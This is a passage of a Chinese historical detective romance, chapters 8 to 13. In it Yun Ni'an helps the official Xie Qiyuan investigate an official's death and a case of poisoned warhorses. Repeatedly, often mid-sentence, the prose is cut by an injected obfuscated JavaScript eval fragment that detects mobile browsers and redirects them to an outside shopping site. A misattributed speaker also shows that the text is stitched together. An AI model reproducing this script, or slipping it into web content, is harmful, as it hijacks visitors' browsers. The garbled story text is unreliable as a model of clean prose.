“许尚书，听闻你府上有一位机智过人、心思剔透的女官，断事极准，在下今日登门，别无他事，便是想向尚书借此人一用，协助查办一桩要案。” 心中了然，许庐却并未立刻应声，只是唇角勾起一抹浅淡的笑意，既没点头肯定府上有这般人物，也没摇头否认，转头吩咐身侧的折戟， “去，将云氏请过来。” 不过半柱香的功夫，霓安随折戟迈步走入正厅，刚一进门，便察觉到厅内氛围非同寻常。 两人端坐在案前，慢悠悠品着茶水，表面看着一派风平浪静，可霓安敏锐地察觉到，两人看似平静的神色下，皆是各怀鬼胎。 霓安垂眸敛声，静静立在一旁，不敢贸然出声。 8. 岂有此理 好在这份难熬的氛围并未持续太久，端坐于主位的自家大人终究先开了口，“云氏，自我差你去协办秦厉大人一案已过两日，案情可有进展。” 霓安躬身行礼，语气恭敬地回禀 “回大人的话，那日在戏台上当众现身之人，并不是秦厉大人本人，而是一个身形与秦厉大人相差无几的替身。他在戏台之上演这么一出荒诞戏码，目的只有一个，就是为了彻底掩盖秦厉大人的真实死亡时间。” 讲到此处，坐在侧首，一身月白色文官锦袍的谢齐渊缓缓抬眼，慢悠悠放下手中那盛着成色极佳的六安瓜片的白瓷茶盏。 他眸子里漾着几分饶有兴味的神色，目光落在她身上，带着些不易察觉的玩味。 “而凶手费尽心思掩盖秦厉大人的真实死亡时间还有另一事佐证。属下翻阅案卷，发现上面明确记载，发现秦厉大人尸首的，是住在他府邸隔壁的太子中舍人。据那太子中舍人亲口供述，他发现秦厉大人尸首时，现场极为蹊跷，秦厉大人的尸首并非像寻常凶杀案那般随意倒在卧房地面，而是被凶手刻意用厚厚的积雪掩埋，藏在了庭院角落。” “彼时正值寒冬，滴水成冰，凶手正是利用了这严寒低温，刻意延缓尸身发生尸变的速度。如此一来，尸僵、尸斑这些判断死亡时间的关键迹象，都会迟迟无法显现，其用心何其歹毒，就是为了从根本上干扰仵作验尸，因而无法准确判断出秦厉大人真实的死亡时辰。” 话音未落，那位身穿文官袍的公子便鼓起了掌，那抹欣赏的笑容挂在他那面如冠玉的脸上真让人看得离不开眼，不过云霓安觉得那抹笑容甚诡异，真真吓煞人也。 许庐端坐在主位上，将方才两人间疏离尽收眼底，心底不由得泛起些许疑问。 方才那一幕清清楚楚，云氏面对谢齐渊时满眼的局促，全然没有半分熟识之人的自然。 倘若两人并无交情，那谢齐渊为何要破例亲自前来请云氏过去协助破案，难不成，是这云氏身上，藏着什么自己从未察觉，却被谢齐渊一眼看中的过人长处？ 想到此处，许庐缓缓抬眼，目光落在身旁垂首而立的云霓安身上，要说长处，云氏身上自然是有的。 平日里，她心思缜密至极，遇事冷静通透，称得上冰雪聪明。 可除却这些，还有什么能让谢齐渊另眼相看？许庐捻着指尖，在心底反复思量，目光不自觉地停留在了云氏那极美的容颜上。 不得不说，云霓安生了一张倾国倾城的绝色面容，气韵也极清绝，便是在美人如云的京城，也是难得一见的佳人。 本朝律法明确规定，女官需同朝廷男官一般，身着制式暗色官袍，不得有半点艳丽修饰，云霓安此刻便是这般装束。 一身深青色暗纹女官官袍裹身，看着毫无生气，按理来说应全然掩去了女子该有的柔媚。 不过这般素净的打扮，却难掩她骨子里的绝色，反倒衬得她眉眼愈发清丽出尘。 只是这个念头刚冒出来，就被许庐立刻否决了。他与谢齐渊共事多年，深知其品性清正，向来不近女色，这般缘由断然说不通。 要是想探查缘由，眼下不就正好有机会吗，把云氏交于谢齐渊，再命邹连作为侍卫暗中保护，若无事自然是好，若有事也未必是坏事。 “云氏，在此案结案之前，就由你辅助谢大人探查，可好？” 霓安纵使心中有千万个不愿意，但还是恭敬回禀 “民女不敢推辞。” * 趁霓安草草的回房收拾东西的间隙，折戟大概给她讲了下谢齐渊的事迹， 安远十六年，先皇骤然驾崩的消息传遍大江南北，朝堂内外顿时陷入一片动荡与哀戚之中。 新帝尚未彻底稳固朝政，前朝旧臣派系林立，各方势力暗流涌动，偌大的王朝看似依旧稳固，实则内里早已暗流奔涌。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484528|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 恰逢此时，谢齐渊方才凭借科举之试金榜题名，正式踏入仕途，任职大理寺大理正，官居六品，不过是朝堂之中毫不起眼的一介新晋官吏。 就在这动乱里，生出了许多难以勘破的奇案，不过这些奇案但凡经他之手，皆能将真凶绳之以法，还百姓公道。 谢齐渊凭借实打实的功劳一路节节高升，从区区六品大理正，一步步稳扎稳打，历经数载，终是坐到了大理寺卿的高位。 霓安原本还对这些神乎其神的传记有些难以相信，不过片刻之后她便完全信服了。 谢齐渊探案并不是像传统大理寺当职人员派遣一众人七嘴八舌的像无头苍蝇一样探查，而是只带一两个信得过心思剔透的属下。 此番他便只带了一名叫槐棘的属下，槐棘此人身高六尺，生得团头脸大，看起来就机灵聪慧。 “你有何思路呢，云姑娘。” “民女认为应从三个地点着手来查，一是尸首发现的地方，也就是秦厉宅邸，二是去秦厉当差的兵部，询问其近期有无反常情况和其最后一次在职时间，最后就是去凶手可能待过作为过渡的地方，醉红轩。” 谢齐渊嘴角依旧噙着一抹淡淡的微笑，缓缓开口道“那就依云姑娘所说，槐棘你去探查秦厉宅邸，邹副将你去兵部问询。” “在下领命。”两人皆垂眸行了一礼后便告辞了，留下霓安与其面面相觑。 “大人，那我呢……” 霓安敛着眉眼，恭恭敬敬上前一步轻声询问，话音刚落，便听见许庐淡淡开口。 “让青禾带着你下去梳洗更衣。”他抬眸扫过她一身素净女官服，“此次前去探查，你便是我的娇娥，随我一同前往醉红轩。” 竟然让我扮演偏室的角色，你官威大得不行！云霓安顿时气血上脑，素净的如白瓷一般好看的脸上顿时泛起一抹酡红，不过片刻后也只好认命般同意了，果真真生存不易！ 9. 光影流转 青禾上前一步，动作轻柔，小心翼翼，指尖拂过霓安鬓角，将她头上那顶素色的女官帽缓缓摘了下来。 “小姐的发质极好，这般垂落下来，更衬得您倾城容貌，让人挪不开眼。”青禾望着眼前人，轻声赞叹。 回想当初，她以侍女身份被分派进谢齐渊府上时，想着谢齐渊身居高位，权倾一方，在京中是人人敬畏的大人物，原以为这般位高权重的男子，府中定然姬妾成群，女眷如云，她少不得要学着谨小慎微地伺候各位主子宫人。 可谁曾想，她在这深宅里一待便是两三年，偌大一座府邸，竟自始至终未见一位正经女眷，连贴身伺候的姬妾侍婢都无一人。 谢齐渊性子素来清冷寡言，偏爱清净，日常起居琐事大多不愿劳烦下人，凡事亲力亲为，不喜旁人过多打扰。如此一来，青禾在府中便几乎没什么正经差事可做。 旁人或许羡慕这差事安稳省力、无争无斗，可青禾待得久了，只觉得满心空落。 这日，天刚蒙蒙亮，青禾便同往常一般早早起身。简单收拾过后，她拎起府中攒下的几篓脏衣，准备往后院浣衣处送去。 刚转过游廊，却被迎面走来的槐棘拦了去路。 槐棘是谢齐渊身边近身的侍卫，行事向来利落，从不多言半句。 青禾心下微讶，平日里这位大人极少与她搭话，今日竟特意拦下自己，想来必是有要紧事。 果不其然，槐棘只淡淡开口吩咐，说大人新近要她侍奉一位暂居府中的女官，名唤云霓安，往后她的差事便不必再做这些粗活，专心伺候这位女官便是。 青禾一时怔愣，半晌才应声应下，接而便跟着槐棘往内院走去，她十分讶异——能让谢大人特意安排人侍奉的女官，究竟是何等模样。 待真正见到云霓安时，青禾才明白何谓惊鸿一瞥，一见倾心。 云霓安生得极美，却绝非京中那些争妍斗艳，脂粉堆砌的刻意艳丽，更无半分矫揉造作之态。 眉眼清丽出尘，肌肤莹润如玉，一身女官暗袍衬得身姿亭亭，恰如清晨带露的出水芙蓉，不染尘俗。 青禾比霓安大上几岁，又因霓安本就是随和之人，因而不多时两人便熟稔起来， “云姑娘，不知你近来可曾听过，京城坊间传得沸沸扬扬、闹得人心惶惶的那桩‘女鬼索命’奇案？此案说来诡异骇人，坊间皆道，是当年先帝在位之时，不听朝中老臣死谏，一意扩充后宫，一时间无数良家女子被选入深宫，大多连龙颜都未曾得见。后来先帝骤然崩逝，竟有奸佞臣子为博新朝权贵欢心，要将那些未曾侍寝无有子嗣的宫嫔尽数殉葬。” “哦？竟有此等奇案？”云霓安放下茶盏，眉眼瞬间一亮。 青禾整个人都愣住了，手里的梳子差点没拿稳。 眼前的云霓安，却与她预想的模样判若两人——她眼里竟然闪烁着跃跃欲试的光芒。 这神情，这语气，这不问风月只问奇案的样子，怎么看，都隐隐透着她家大人谢齐渊的影子。 真是太像了，简直如出一辙，青禾下意识地蹙了蹙眉。 “我怎么讲也讲不清，等一会谢大人来了再讲予你听吧。”青禾无奈间止住了话头，不是她讲不清，而是她怕自己会因此分神。 指尖翻飞，将那髻形梳得妥帖，几缕碎发微微垂向颈后，显得仪态万千。 照理说，这般发髻配上美人的容貌，已然是倾城之姿。但青禾捧着云霓安的脸左看右看，却偏偏觉得缺了点什么，像是一幅精心铺陈的水墨，少了最后那一点点睛的色彩，美得略有些素净。 她盯着那光洁的鬓角，忽然一拍脑门，恍然大悟——是少了簪花！ 正当她抓耳挠腮犯难时，云霓安不知何时已转过身来，掌心托着一支翡翠珠钗，成色极佳，钗头雕琢成半开的兰花模样。 “试试这个？”霓安带着笑意的声音轻柔。 她深吸一口气，小心翼翼地将这支翡翠钗簪入云鬓一侧，指尖轻轻调整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484529|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了角度，让那朵兰花恰好掩映在流泻的发丝间，与乌黑的秀发相映成趣。 片刻之后，青禾退后一步，捧着铜镜细细端详。 那一刻，光影流转，翠色欲滴。 “太好了！”青禾忍不住低呼，满眼赞叹， “小姐这般一戴，简直是锦上添花，美得连空气都仿佛香了起来。” * 谢齐渊立在廊下等候，遥遥便见一道纤影自长廊尽头翩跹而来，似风拂弱柳，又似月下惊鸿。 他敛起脸上异色，缓步上前，抬手轻轻掀开垂落的车帷。 “云姑娘，请。” 声线清和，温淡有礼，听不出半分异样。 云霓安微微屈膝敛衽，垂眸行礼，语气恭谨 “感谢大人，有劳了。” 待她入车坐定，谢齐渊才随之掀帘而入。 车厢内宽敞雅致，一时静得只能听见彼此微不可闻的呼吸。两人相对而坐，霓安便悄悄抬眼，细细打量起身侧之人。 他面如冠玉，目若朗星，一身素色衣袍更衬得其气度翩翩。许是连日公务劳神，他闭目休憩，长睫垂落，在眼下投出浅浅阴影。 只是她的目光不经意间掠过他温润的眉眼，落在眉角那处时，忽然顿住。 那里藏着一道不甚显眼的旧疤，不仔细瞧几乎难以察觉。 一股莫名的熟悉感涌上心头——这疤痕的位置形状，都像是在哪里见过一般…… 记忆深处好似也有一位公子，风姿霁月，温润清朗，眉角同样有着这样一道浅浅印记。 可任凭她如何凝神回想，那人的面容怎么也拼凑不出完整模样。 她沉溺在纷乱的思绪中，因而不知面前之人早已缓缓睁开了眼。 一双清润如墨的眸子静静望着她，带几分浅淡笑意。谢齐渊声音温润好听，似玩笑又似认真，轻声问道， “云小姐这般盯着鄙人的脸看，莫非我脸上，有什么令人发指之物不成？” 10. 远山含黛 霓安被他这般直白点破心思，登时脸颊发烫，一抹绯红从耳根蔓延至脸颊，窘迫得连忙将头偏向车窗一侧，指尖无意识地绞着衣袂，闷闷地开口， “人若是遇上赏心悦目的人事，本就会情不自禁地驻足凝望。大人这般追问，倒叫我不知如何应答。细细想来，若非大人容貌过于昳丽出众，令人见之忘俗，我又怎会失态至此，这罪魁祸首，原是大人自身。” “哦，云姑娘当真是巧舌如簧，这般说来，倒反倒成了我的不是了？” 谢齐渊听着她这番强辩的话语，非但没有半分愠色，眼底反而漾开几分浅淡的笑意，一副静待下文、洗耳恭听的模样，分明是故意逗她。 霓安被他这从容姿态堵得一时语塞，心头暗自腹诽，论起脸皮厚薄，自己终究是敌不过眼前这人。 索性抿紧唇瓣，别过脸去不再接话。 车轿之内，木轮碾过青石板路，一颠一簸，帘幔随着车身轻晃。 帘外是鼎沸的闹市，人声、车马声、商贩吆喝声隔着一层锦缎车帷，听不真切。时而有清脆的铜铃叮当掠过，时而有挑担货郎悠长的叫卖飘远，喧哗声忽近忽远。 外正是熙攘市井，人语喧嚷，一派鲜活热闹的人间烟火气扑面而来。这般热闹的寻常光景，反倒让云霓安不自觉想起了白日里青禾提起的那桩京城奇案。 只是青禾当时故意卖关子，说得含糊其辞，故弄玄虚，讲到关键处便戛然而止，任凭她如何追问，也不肯再往下细说。一桩悬案只听了半截，悬在心头不上不下，反倒勾得人好奇心更盛。 霓安抬眼望向双眼微阖的谢齐渊，不禁开口询问道“公子可知那——女鬼索命一案？” 身旁那位公子端坐如松，容貌清俊似画中走出的谪仙，双目依旧轻阖，未曾抬眼瞧她，缓缓开口道“姑娘这般心思通透、见识不凡的奇人，莫非也信这世间无凭无据的鬼神怪力之说？” 霓安定了定神，敛去方才那点窘迫，一字一句认真回道， “民女本就不信什么鬼神怪力之说。若世间真有阴魂索命，那朝廷设立大理寺、任用刑官查案断狱，又还有什么意义？但凡遇上疑难悬案，尽可一概推到妖魔鬼怪身上，草草以鬼神作祟结案，又何必耗费心力去追查真凶、厘清真相呢？” 还真是锱铢必较啊，谢齐渊挑眉。 片刻之后，霓安似是想起了什么要紧事，稍作沉吟便继续开口说道， “依民女之见，这桩女鬼索命的传闻，背后多半有诈。若真是有人在暗中精心布局、刻意散播流言，此案如今牵扯甚广，流言愈演愈烈，连京中数位身居高位的朝廷重臣，都被卷进了是非漩涡之中……” 她话音还未完全落下，眼前原本端坐的人忽然动了。微凉的指尖轻轻覆上她的唇瓣，带着冷玉般的触感，瞬间止住了她未说完的话语。 谢齐渊微微倾身靠近，衣袂轻扫过她的臂弯，温热气息拂过耳畔，压低了声音用气音缓缓道， “姑娘未免过于聪慧了。 要记得，在这长安城之中，太过锋芒毕露，有时候可不是一件好事。” 那人身长八尺，身形挺拔如松，此刻骤然俯身压近，一股无形的压迫感登时笼罩下来。霓安素来守礼自持，从未与男子这般贴近过，因而她浑身都绷得发紧，垂在身侧的指尖不受控制地轻轻发颤。 清冽干净的雪松香混着淡淡的书卷气扑面而来，萦绕鼻尖，挥之不去。 “大人请自重。” 霓安强压着心头的慌乱，依旧维持着礼数，低声开口， “民女身份低微，恐有冒犯，大人还是与我保持些距离为好。” 话音未落，她便借着整理衣摆的由头，轻轻侧身抬手，不着痕迹地推开了几分眼前的男人，刻意拉开了彼此的距离。 谢齐渊何等心思通透，眼前人明明已是心乱如麻，偏要强作镇定，连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484530|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼尾都泛起一层淡淡的红，却还拿身份尊卑的官话来搪塞他。 没过多久，车轮碾过青石板的声响渐渐放缓，车轿稳稳停在了醉红轩门前。 抬眼望去，整座楼阁雕梁画栋，飞檐翘角缀着鎏金纹饰，朱红廊柱映着琉璃灯盏，处处极尽奢华考究。 往来皆是锦衣玉带的达官显贵，一派纸醉金迷、车水马龙之盛景。 也正因如此，此地人流如织，鱼龙混杂，三教九流藏身其间，行踪难辨，想要在这般喧闹繁杂之地暗中排查凶犯踪迹，无异于大海捞针，着实困难重重。 霓安借着谢齐渊的搀扶缓步走下车轿，衣袂轻拂，步履从容。两人并肩才行了几步，便已引得周遭往来宾客纷纷侧目驻足。 但见那女子眉如远山含黛，目似秋水含波，清丽出尘，一颦一笑皆动人心弦，身旁男子面如冠玉，一身气度风华无双。 这般璧人一对，容貌登对，立刻引来周遭窃窃议论，不少人都暗自惊叹，这般神仙眷侣般的人物，竟是难得一见。 霓安紧挨着谢齐渊，刻意放低了声音，几乎是贴着他耳畔咬牙切齿地提醒，语气里带着几分急恼， “此番咱们是来暗中查案的，你我穿得这般惹眼隆重，就不怕还未查到线索，先平白惹来一堆是非事端吗？” 谢齐渊侧首看向身旁神色紧绷的人，心底暗暗轻叹，面上却不动声色。 哪里是衣着惹眼，分明是她这张倾国倾城的容貌太过夺目，往人群里一站便藏不住踪迹。 他不动声色地朝身侧属下递了个眼色，不多时便有人取来一顶素色帷帽，垂落的薄纱恰好遮住她明艳的容颜。 据那秦厉大人露面的最后一晚已过二日，要想探查需要设法拿到那晚醉红轩宾客的名单，正当霓安绞尽脑汁思索如何智取之时，便看到谢齐渊将大理寺卿的令牌拍到梨花木桌上。 “对啊，他可是大理寺卿…”霓安一时失语。 11. 桃花佳酿 不多时，便有一名青衣小吏躬身引路，将霓安与谢齐渊请上了醉红轩二楼临窗的雅间。室内陈设雅致，屏风上绘着夹竹桃纹样。 那小吏又亲自端来一壶温好的桃花醉，青瓷酒壶透着温润光泽，两只白瓷酒杯置于一旁，酒香随着热气袅袅散开，前调清冽后调甜软。 霓安自幼跟随师父入山采药，辨香识味的本事远超常人。寻常桃花酒不过是以春日鲜桃花酿制，香气清浅，可醉红轩这一壶却层次繁复，桃花的清甜之下，藏着一缕极淡却独特的异香，分明是西域特产的香料入酿。 中原难得此物，也难怪这桃花醉常年有价无市，成了万金难求的佳酿。 “二位稍候，”那小吏身着粗布短衫，模样看着恭谨本分，言辞也说得恳切， “往来宾客的登记名册，都在掌事的老鸨手中，小的身份低微，无权擅自取来，这便去通传一声，即刻便回。” 他话说得滴水不漏，行过礼后便轻手轻脚退了出去，还细心地合上了房门。 室内只剩二人，霓安才缓缓收回目光，压低声音开口，“民女以为，这桃花醉何等珍贵，怎能随意端来待客，何况他只是一个寻常小吏。” “他方才这般殷勤奉上这桃花酿，根本不是去通传，分明是背后有人指使，好让我们查无可查。” 谢齐渊指尖轻叩杯沿，抬眼望向霓安，只一字一句徐徐道来， “云小姐心思缜密，擅长析案辨凶，可偏偏不通这世间人心复杂。人做事，从来皆由心生，无利不起早，但凡肯铤而走险、遮掩隐瞒，必是此事于他有切身之益。” 只见他抬手执起桌上那只冰裂纹瓷酒壶，玉色酒液顺着壶口缓缓倾落，在白瓷杯中漾开浅浅粉晕。 “此案从始至终，根本无需刻意隐瞒。嫌犯要的本就不是悄无声息，而是要借这场宴席，让在场所有宾客都成为他的证明。如此一来，宴席自然是办得越盛大越好。” 霓安抬眸望向谢齐渊，眼中清明渐盛， “依大人之见，他们费尽心思遮掩拖延，真正要隐瞒的，根本就不是这桩案子！” 不过霓安此时并未厘清头绪，按照谢齐渊所说，若老鸨想要隐瞒的并不是此事，那还有何事值得其费尽心思遮掩呢？ 霓安正想追问下去，就发觉有人推开了那扇梨花木门，原来是醉红轩的掌事老鸨刚从一楼回廊转上来，一身织金海棠软缎裹着丰腴身段，走动时珠翠轻颤，倒透着精明利落。 那老鸨眉眼描得细长入鬓，唇间点着浓艳胭脂，她一手轻捻绣帕，一手虚扶着腰侧，一见谢齐渊便快步上前福了一礼， “昨夜奴家临睡还在焚香祈愿，心想着今儿个定有贵人登门，果不其然，一睁眼就把您这尊大佛给盼来了！” 她用锦帕轻掩唇角，眼波在霓安身上微微一转，又笑着凑上前半步，压低了些嗓音， “咱们醉红轩里，琴棋书画样样拿得出手的姑娘可不少，不知谢大人今日，是看中了哪一位可人儿……” 老鸨那番暧昧的话音未落，霓安发觉腰侧忽然一紧。 方才还端坐在旁，一派温润君子模样的谢齐渊，竟在瞬息间伸臂过来，不由分说便将身侧的她牢牢揽在身旁。 动作干脆利落，落在外人眼里只当是二人关系亲昵，唯有霓安才知那力道大得惊人，腰侧仿佛被铁箍牢牢扣住，几乎要被这突如其来的力量勒得喘不过气。 “本大人自有美妾相伴。” 谢齐渊唇角勾起一抹轻佻笑意，端的是一副附庸风流的纨绔模样，眉眼间再无半分往日里温润端方的君子气度。 人前是清风霁月的大理寺卿，人后便这般随意切换面孔，果然见人说人话、见鬼说鬼话的本事，在他身上践行得淋漓尽致。 “因而佳人就不必费心张罗了，本官此刻，只想要前日晚间宴席上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484531|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾客人名单。” 谢齐渊一只手半搂着霓安，姿态亲昵自然，分明是做给旁人看的模样，另一只手则漫不经心地举着白瓷酒盏，眼尾微挑，装作几分醺然半醉的神态，一身风流不羁之感。 老鸨不动声色地朝立在门边的小吏隐晦的递去眼色，小吏立即心领神会，两人皆躬身轻手轻脚退了出去。房门被缓缓合上之际，小吏才压低声音， “这谢齐渊，倒和京里传闻的不近女色，刚正不阿全然不同，瞧着倒像个流连风月，游手好闲的纨绔公子哥。” 老鸨垂眸轻轻抚平身上锦绣衣衫上细微的褶痕，面上笑意淡去，语气平淡“但愿真是如此。若他只是个中看不中用的花架子，对咱们这儿，反倒有益得多。” 不过片刻工夫，那份宾客名单便被小吏恭敬呈了上来。册子以红绫作底，墨字工整清晰，边缘还细细裹着一层玄色绒布，上面一字不差记载着当夜醉红轩内所有设宴之人与往来宾客名录。 翻开名录的那一刹那，霓安又闻到了那股不属于中原地区所产的香料的气味，虽然极淡，不过那气味辛辣，霓安一下就闻出是防腐所用。 名单之上清晰写明，秦厉大人遇害的那一晚，醉红轩内共有三人设宴请客。 其中一位，正是正四品钦天监监正——刘子枝。此人出身天文世家，祖上数代皆在朝中执掌天象历法，推算节气，占验吉凶向来精准无比，自本朝开国以来便深受皇室倚重。 秦厉不过是个五品武官，论权势地位，皆远不及世代受重用的刘家，实在想不出刘子枝有何动机，要去构陷谋害秦厉。 可紧随其后的下一个名字，却让霓安眉尖微蹙，此人在名册之上并无任何官衔标注，分明是一介草民，却在秦厉遇害当晚，于醉红轩这般销金窟里一掷千金，大排筵宴，排场丝毫不逊于朝中官员。 无官无职，却能出手如此阔绰，实在让人不得不暗自生疑。 12. 风沙骤起 草民一掷千金的故事虽不常见，却也并非全然无迹可寻。 这般出手阔绰的排场，绝非寻常寒门子弟所能支撑，想来其祖上必是经商世家。 只是眼下线索尚浅，无从深究，贸然揣测只会误了查案方向，唯有先暗中查清此人来历家世，方能再做定论。 而名单之上最后一人，乃是兵部职方司郎中付明岚。 此人与遇害的秦厉本是同僚，同在兵部任职，官职品级也相去不远。 郎中一职虽略高于员外郎，却也算不上天差地别，实在想不出他有何谋害秦厉的充足动机。 可若论及这名单上的三人，谁最清楚秦厉的体态特征，平日里朝夕相处的同僚付明岚，无疑是最为熟悉之人。 霓安蹙着眉，抬眼望向身侧一直端坐静思的谢齐渊。 “大人可是识得这两位？” 谢齐渊收回目光，缓缓开口， “那位看似草根出身，却能在醉红轩一掷千金的公子，他的姓氏我倒确实有些印象。 先帝在位那几年，朝廷极为看重西域少数民族内迁东附一事，对西域望族多有安抚提携。此人姓高，那其原姓必为是娄——是娄氏在西域本就是部族显贵，即便迁居中原，家底仍在，这般挥金如土，倒也在情理之中。” 霓安看着那白瓷盏中淡粉色的桃花醉，若有所思的眨了眨眼。 * 出玉门，越戈壁，便踏入西域之地。 极目远眺，是褐黄的戈壁与零星散落的绿洲，红柳丛生，胡杨傲立，枯木枝干虬曲，尽显边塞苍凉。 玉门关扼守河西咽喉，西接西域诸国，东连中原腹地，向来是丝路商旅必经之地。 一月前，新来的喂马小吏一边往马厩添草料， 他嘴里嘀嘀咕咕地抱怨着这鬼地方，手上却不敢怠慢，抄起堆在一旁的干草与豆料，漫不经心地往石制食槽里倾倒。 可奇怪的是，往日里一闻见草料便躁动不安争相抢食的战马，今日竟一个个垂着头，恹恹地立在原地。 这西域戈壁荒原辽阔无边，传递军情离不开战马。 如今这许多精锐战马齐齐没了精神，蔫头耷脑不肯进食，若是边情突发，后果不堪设想。他越想越是心慌，手上的草料叉子“哐当”一声落在地上，转身便要往外跑。 此事非同小可，必须立刻上报上官…… 许庐接过信笺时，那行用朱红落款的“兵部急递”，显然是一路策马送达此处。 “马厩十余匹精锐战马，先后暴毙，尸身软塌有挣扎之相……饲料送检有异样，查得马粪内混有不明粉末……” 随文书一齐递来的，是一只粗陶大盆，里面盛着从边境押运回来的饲料。那是一捆混杂着麦秆与豆料的草料。 许庐目光继续下移，看到了军中医官的草略分析， “卑职大致猜出了七八分。这些战马死得蹊跷，前一日还精神抖擞，次日便绝食而亡，绝非疫病。卑职尝过饲料，混有一丝极细微的异香。” “只是卑职虽略通岐黄之术，却对西域胡地的草木香料知之甚少。那股异香混杂在马料与马汗的味道里，极难分辨。卑职不清楚究竟是何种毒物，也不知其原理，只知其入马腹而死，入人腹却却暂未显现异状。” 许庐俯身，从那堆看似寻常的草料里拈起一截干枯草茎，置于鼻下轻轻一嗅。 初闻只是寻常草料的干涩气息，可他细细分辨之下，便有一丝若有似无的奇香。 军中大夫不通西域奇物，辨不出此味实属寻常，可只要寻得一个可以分辨西域草木香料之人，一切便能水落石出。 念头一转，许庐当即想起一人，这府中，恰好就有这般人物。 他指尖一松，将那截草茎丢回盘中，抬眼看向侍立在旁的折戟， “去，把云氏找来，本官有话要问她。” 日头渐渐西斜，查访之事线索虽未明朗，但也不宜在醉红轩此等风月之地久留，谢齐渊便吩咐随从备车，派人将云霓安护送回府。 她刚一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484532|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踏入自己院内，便一眼瞧见廊下立着的身影。 折戟显然已等候片刻。见她归来，当即上前一步，躬身行礼， “云姑娘，许大人那边有要事所托，特派小人前来，请您即刻过去。” * 面前的女子穿着那繁复的云锦绣花缎袍，美丽的云鬓挽成时下流行的堕马髻，雕作半开兰花的翡翠珠钗隐于发间， 这云氏，还真是长着如此昳丽的一张脸。 那只盛着饲料的粗陶大盆就摆在堂中案上， 云霓安上前伸手便在草料中细细翻拣，不多时竟将整盆草料翻了个底朝天。 许庐在一旁静静看着，只见她将形态各异的草茎一一拣出，按类别在案上铺开。 不过片刻功夫，原本杂乱无章的饲料便被分得清清楚楚，干草豆秸杂穗各归其位，一目了然。 霓安指尖最后停在几枝不起眼的细小草茎上，放在鼻尖轻嗅。 她抬眸看向许庐，语气笃定， “大人，就是它——这草料里被人掺了西域特有的草株，正是害死战马的罪魁祸首。” “此物名叫问荆草，在西域戈壁随处可见，本是一味常用草药。寻常人煎服入药，能利尿解毒，对身体非但无害，反倒大有裨益。” 她顿了顿，若有所思一样缓缓将草茎放在案上， “可此草有一异处，与人无害，对牛马这类牲畜却有剧毒。战马若是误食，不出一日，便会四肢麻痹，最终衰竭而亡。死状极像突发急症。” “只是……民女总觉得，这问荆草的气味，并非初次遇见。方才一闻便觉熟悉，仿佛不久前，明明在别处也沾染过这般草木香气” “只是一时之间，竟想不起究竟是在何处闻过了。” 许庐微微颔首，沉声道， “今日若非你精通草木药理，这桩关乎边关战马的奇毒依旧难以破解，今日之事，多亏你了。” “你一路奔波查案也劳顿多时，若无其他要事，便先退下歇息吧。” 13. 心泛涟漪 “世间之事本就玄妙，一两桩偶然撞在一处，算不上稀奇，便是三件巧合前后接踵，也还能归于机缘凑巧。 可若是一桩桩看似无关的偶遇，接二连三叠在一处，那便再也不能视作无心之失了。” “大人，我觉得此事有诈，断断不只是战马误食草药这样简单，请大人严查。” 许庐缓缓垂眼，打量着立在身前的云氏。自他与这女子相识以来，她素来是明哲保身的性子。 可今日，她竟一反常态，竟主动开口恳请他彻查此案。 许庐收回目光，缓缓开口， “你倒是心思细腻，能察觉其中异样。” 